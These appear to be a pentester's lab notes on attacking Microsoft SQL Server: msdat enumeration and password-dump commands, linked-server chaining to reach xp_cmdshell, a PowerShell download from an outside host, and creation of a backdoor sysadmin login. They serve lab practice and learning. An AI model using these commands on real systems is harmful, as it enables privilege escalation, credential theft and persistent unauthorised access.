msdat makes it easy to automate multiple enumeration / priv esc steps into a single command. You may perform all the checks at once, or run a specific check
check the output carefully and KO and OK can look very similiar
Sometimes your user might not have sysadmin on the linked server. Additionally the user you are utilizing to run code on the linked server might not have sysadmin permissions on that linked server. However that user on the linked server might have SA permissions on your server. Im going to call this backward linked server
create new sa user on the server you have access to using this backward link attack
# run a specific module
./msdat.py oleautomation -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC --get-file 'C:\Windows\System32\drivers\etc\hosts' hosts
# password stealer module
./msdat.py passwordstealer --dump -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC
# all checks
./msdat.py all -s 10.13.38.11 -p 1433 -U external_user -P 'password123' -d POO_PUBLIC
[1.1] Can the current user become sysadmin with trustworthy database method ?
[-] KO
[1.2] You can steal hashed passwords ?
[+] OK
--snip--
select * from master..sysservers;
srvid srvstatus srvname srvproduct providername datasource location providerstring schemadate topologyx topologyy catalog srvcollation connecttimeout querytimeout srvnetname isremote rpc pub sub dist dpub rpcout dataaccess collationcompatible system useremotecollation lazyschemavalidation collation nonsqlsub
----- --------- ------------------------ ---------- ------------ ------------------------ -------- -------------- ---------- --------- --------- ------- ------------ -------------- ------------ ------------------------------ -------- --- --- --- ---- ---- ------ ---------- ------------------- ------ ------------------ -------------------- --------- ---------
0 1089 COMPATIBILITY\POO_PUBLIC SQL Server SQLOLEDB COMPATIBILITY\POO_PUBLIC NULL NULL 2018-03-17 13:21:26 0 0 NULL NULL 0 0 b'COMPATIBILITY\\POO_PUBLIC ' 1 1 0 0 0 0 1 0 0 0 1 0 NULL 0
1 1249 COMPATIBILITY\POO_CONFIG SQL Server SQLOLEDB COMPATIBILITY\POO_CONFIG NULL NULL 2018-03-17 13:51:08 0 0 NULL NULL 0 0 b'COMPATIBILITY\\POO_CONFIG ' 0 1 0 0 0 0 1 1 0 0 1 0 NULL 0
# get version for linked server
select * FROM OPENQUERY([COMPATIBILITY\POO_CONFIG], 'SELECT @@VERSION AS version');
# get database names from linked server
select name FROM [COMPATIBILITY\POO_CONFIG].master.sys.databases;
# get tables from linked server
select * FROM [COMPATIBILITY\POO_CONFIG].[POO_CONFIG].INFORMATION_SCHEMA.TABLES;
# get username from linked server
EXECUTE ('select @@servername;') at [COMPATIBILITY\POO_CONFIG];
# get username from linked server
EXECUTE ('select suser_name();') at [COMPATIBILITY\POO_CONFIG];
# see which users have sysadmin privs on linked server
EXECUTE ('SELECT name FROM master..syslogins WHERE sysadmin = ''1'';') at [COMPATIBILITY\POO_CONFIG];
# enumerate permissions on linked server
EXECUTE ('SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''SERVER'');') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell whoami'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''tasklist /svc'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''powershell.exe -ep bypass -command Get-MpComputerStatus'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''xp_cmdshell ''''powershell.exe -ep bypass -c invoke-webrequest -Uri http://10.10.14.55:8000/hello.txt'''' '') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''USE [master]; CREATE LOGIN [backup_sa] WITH PASSWORD = ''''BackupSA2025'''', CHECK_POLICY = OFF; ALTER SERVER ROLE [sysadmin] ADD MEMBER [backup_sa]; USE [POO_PUBLIC]; CREATE USER [backup_sa] FOR LOGIN [backup_sa];'' ) AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''USE [master]; SELECT name, is_disabled, is_policy_checked FROM sys.sql_logins WHERE name = ''''backup_sa'''';'' ) AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG];
select @@version;
select user_name();
# get databases
SELECT name FROM master.dbo.sysdatabases;
# use a specific database
use POO_PUBLIC
# get table names
SELECT * FROM POO_PUBLIC.INFORMATION_SCHEMA.TABLES;
use master
SELECT * FROM master.INFORMATION_SCHEMA.TABLES;
# get the table count from a specific database
SELECT COUNT(*) AS user_table_count FROM sys.tables;
# or you can do it this way
use POO_PUBLIC;
select name from sys.tables;
SELECT name FROM sys.schemas;
# get owner of each database
SELECT suser_sname(owner_sid) FROM sys.databases
# see if your user has sysadmin role
SELECT is_srvrolemember('sysadmin')
# see what users on the service have sysadmin role
USE master; SELECT r.name AS role_name, m.name AS member_name FROM sys.server_role_members rm JOIN sys.server_principals r ON rm.role_principal_id=r.principal_id JOIN sys.server_principals m ON rm.member_principal_id=m.principal_id ORDER BY role_name;
# enumerate if if_trustworthy_on
# if trustworthy is on
# https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html?highlight=mssql#mssql-privilege-escalation
SELECT name, is_trustworthy_on FROM sys.databases;
# try to turn trustworthy on
ALTER DATABASE POO_PUBLIC SET TRUSTWORTHY ON;
# see if you can impersonate
look for impersonation
USE master; SELECT DISTINCT t.name FROM sys.server_permissions p JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.permission_name = 'IMPERSONATE';
USE master; SELECT DISTINCT t.name FROM sys.server_permissions p JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.permission_name = 'IMPERSONATE' AND t.name = 'sa';
# see if your user can view metadata
SELECT HAS_PERMS_BY_NAME(DB_NAME(), 'DATABASE', 'VIEW DEFINITION') AS can_view_definition;
can_view_definition
-------------------
1
# good check for users and permissions
USE master; SELECT p.permission_name, p.state_desc, gr.name AS grantee, gt.name AS grantor, sdb.name AS target_name FROM sys.server_permissions p LEFT JOIN sys.server_principals gr ON p.grantee_principal_id=gr.principal_id LEFT JOIN sys.server_principals gt ON p.grantor_principal_id=gt.principal_id LEFT JOIN sys.server_principals sdb ON p.major_id=sdb.principal_id WHERE p.class_desc='ENDPOINT' OR p.permission_name IS NOT NULL ORDER BY gr.name;
ENVCHANGE(DATABASE): Old Value: master, New Value: master
INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed database context to 'master'.
permission_name state_desc grantee grantor target_name
----------------- ---------- ------------- ------- -------------
CONNECT SQL GRANT external_user sa NULL
VIEW ANY DATABASE DENY external_user sa NULL
CONNECT GRANT public sa public
CONNECT GRANT public sa sysadmin
CONNECT GRANT public sa securityadmin
CONNECT GRANT public sa serveradmin
VIEW ANY DATABASE GRANT public sa NULL
CONNECT SQL GRANT sa sa NULL